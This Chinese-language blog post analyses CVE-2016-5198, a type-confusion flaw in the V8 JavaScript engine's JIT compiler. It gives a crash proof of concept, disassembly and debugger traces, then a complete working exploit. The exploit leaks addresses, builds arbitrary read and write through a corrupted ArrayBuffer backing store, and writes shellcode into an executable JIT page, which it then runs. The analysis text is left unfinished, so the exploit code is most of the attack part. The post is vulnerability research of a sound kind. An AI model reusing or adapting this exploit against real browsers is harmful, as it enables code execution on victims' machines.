cve-2016-5198 漏洞分析

这是一个由于JIT代码中没有检查全局对象的类型变化而造成的漏洞,可以导致越界读写

调试环境

漏洞相关链接:

1
2
3
4
git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -c ./out.gn/x64.debug

漏洞分析

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
}
for(var i=0; i<10000; ++i) {
Ctor();
}
for(var i=0; i<10000; ++i) {
Check();
}

//%DebugPrint(Ctor);
//%DebugPrint(Check);
//readline()

Ctor();
Check();
parseInt('AAAAAAAA') // trigger crash

首先poc声明了两个函数,Ctor()创建一个Set()并赋给全局变量n;Check()给全局变量n添加一个属性xyz,并赋值为0x826852f4

然后通过两个for循环,将Ctor()Check()进行了JIT优化

接着又重新调用了Ctor()Check(),最后触发crash

简单的从POC上来看,不容易看出来问题的根源在哪,结合patch可以猜测到问题应该是出在JIT优化上。

分析两个函数的JIT代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
DebugPrint: 0x1b9fa8cab829: [Function]
...
- code = 0x1efe03d868e1 <Code: OPTIMIZED_FUNCTION>
...

DebugPrint: 0x1b9fa8cab8a9: [Function]
...
- code = 0x1efe03d86c21 <Code: OPTIMIZED_FUNCTION>
...

pwndbg> job 0x1efe03d86c21 ; Check()
0x1efe03d86c21: [Code]
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = crankshaft
Instructions (size = 115)
0x1efe03d86c80 0 55 push rbp
0x1efe03d86c81 1 4889e5 REX.W movq rbp,rsp
0x1efe03d86c84 4 56 push rsi
0x1efe03d86c85 5 57 push rdi
0x1efe03d86c86 6 4883ec08 REX.W subq rsp,0x8
0x1efe03d86c8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x1efe03d86c8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x1efe03d86c92 18 488bf0 REX.W movq rsi,rax
0x1efe03d86c95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x1efe03d86c9c 28 7305 jnc 35 (0x1efe03d86ca3)
0x1efe03d86c9e 30 e83dbcf5ff call StackCheck (0x1efe03ce28e0) ;; code: BUILTIN
0x1efe03d86ca3 35 48b889becaa89f1b0000 REX.W movq rax,0x1b9fa8cabe89 ;; object: 0x1b9fa8cabe89 PropertyCell for 0x18a9a3b8a079 <a Set with map 0x355292e0c391>
0x1efe03d86cad 45 488b400f REX.W movq rax,[rax+0xf] ;; 从PropertyCell中取出jSSet
0x1efe03d86cb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000 ;; 这是要赋的值
0x1efe03d86cbb 59 c4c1f96ec2 vmovq xmm0,r10
0x1efe03d86cc0 64 488b4007 REX.W movq rax,[rax+0x7] ;; 取出JSSet的elements
0x1efe03d86cc4 68 488b400f REX.W movq rax,[rax+0xf] ;; 从element中获取xyz属性的地址(这是一个指针)
0x1efe03d86cc8 72 c5fb114007 vmovsd [rax+0x7],xmm0 ;; 将值写入xyz属性对应的地址处
0x1efe03d86ccd 77 48b81123f04e180e0000 REX.W movq rax,0xe184ef02311 ;; object: 0xe184ef02311 <undefined>
0x1efe03d86cd7 87 488be5 REX.W movq rsp,rbp
0x1efe03d86cda 90 5d pop rbp
0x1efe03d86cdb 91 c20800 ret 0x8
0x1efe03d86cde 94 6690 nop
...

可以看到,在Check()函数的JIT代码会从JSSet的elements里根据一定的偏移,将我们的值写入进去,那么在0x1efe03d86ca3处下断点,看看接下来的单独调用会有什么动作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> job 0x1b9fa8cabe89
0x1b9fa8cabe89: [PropertyCell]
- value: 0x18a9a3b8a251 <a Set with map 0x355292e06509>
- details: (data, dictionary_index: 138, attrs: [WEC])
- cell_type: ConstantType (StableMap)
pwndbg> x/6gx 0x18a9a3b8a251-1 ; JSSet
0x18a9a3b8a250: 0x0000355292e06509 0x00000e184ef02241 ; MAP | elements
0x18a9a3b8a260: 0x00000e184ef02241 0x000018a9a3b8a271
0x18a9a3b8a270: 0x00001b77cb482f11 0x0000000d00000000
pwndbg> x/6gx 0xe184ef02241-1
0xe184ef02240: 0x00001b77cb482309 0x0000000000000000
0xe184ef02250: 0x00001b77cb482361 0x00000000803b1506
0xe184ef02260: 0x0000000400000000 0xdeadbeed6c6c756e
pwndbg> x/6gx 0xe184ef02241-1
0xe184ef02240: 0x00001b77cb482309 0x0000000000000000
0xe184ef02250: 0x00001b77cb482361 0x00000000803b1506
0xe184ef02260: 0x0000000400000000 0xdeadbeed6c6c756e

pwndbg> b *0x1efe03d86ca3
Breakpoint 1 at 0x1efe03d86ca3
pwndbg> c
... ; 断下后单步执行,观察数据流向

// 有空再写 先上EXP(咕咕咕

完整利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

function leak_string(str)
{
return str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
}

function Ctor1(){
n = new Set();
}

function Ctor2(){
m = new Map();
}

function Ctor3(){
l = new ArrayBuffer();
}

function Check1(obj){
n.xyz0 = 3.4766863919152113e-308; // mem.u2d(0x0019000400007300);
n.xyz1 = 0; // mem.u2d(0x1111111)
n.xyz2 = 0x1000;
n.xyz3 = obj;
}

function Check2(val){
m.xyz0 = 3.4766863919152113e-308; // mem.u2d(0x0019000400007300);
m.xyz1 = 0; // mem.u2d(0x1111111)
m.xyz2 = 0x1000;
m.xyz3 = val;
}

function Check3(val){
l.xyz0 = 3.4766863919152113e-308; // mem.u2d(0x0019000400007300);
l.xyz1 = val;
}

function func()
{
return 0;
}
for(var i = 0; i < 10000; i++){
func();
}

for(var i = 0; i < 10000; i++){
Ctor1();
Ctor2();
Ctor3();
}

for(var i = 0; i < 10000; i++){
Check1(null);
Check2(3.4766863919152113e-308);
Check3(3.4766863919152113e-308);
}

//%DebugPrint(Check1);
var ab = new ArrayBuffer(0x100);
var str= new String(null);

//var n, m, l;
Ctor1();
Ctor2();
Ctor3();

Check1(ab);
ab_addr = leak_string(str);
ab_backing = ab_addr + 0x20;
print("[*]backing store: 0x" + ab_backing.toString(16));

//%DebugPrint(func);
Check1(func);
func_addr = leak_string(str)-1;
code_entry = func_addr + 0x38;
print("[*]func address: 0x" + func_addr.toString(16));

//%DebugPrint(str);
Check1(String(null));
Check2(mem.u2d(ab_backing - 0x8));
Check3(mem.u2d(code_entry));

dataView = new DataView(ab);
rwx_area = mem.d2u(dataView.getFloat64(0, true));
print("[*]rwx_area: 0x" + rwx_area.toString(16));

Check3(mem.u2d(rwx_area));
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

for (i = 0; i < shellcode.length; i++){
dataView.setUint32(i * 4, shellcode[i], true);
}

func();
文章作者: Hpasserby
文章链接: https://hpasserby.top/post/32483719.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏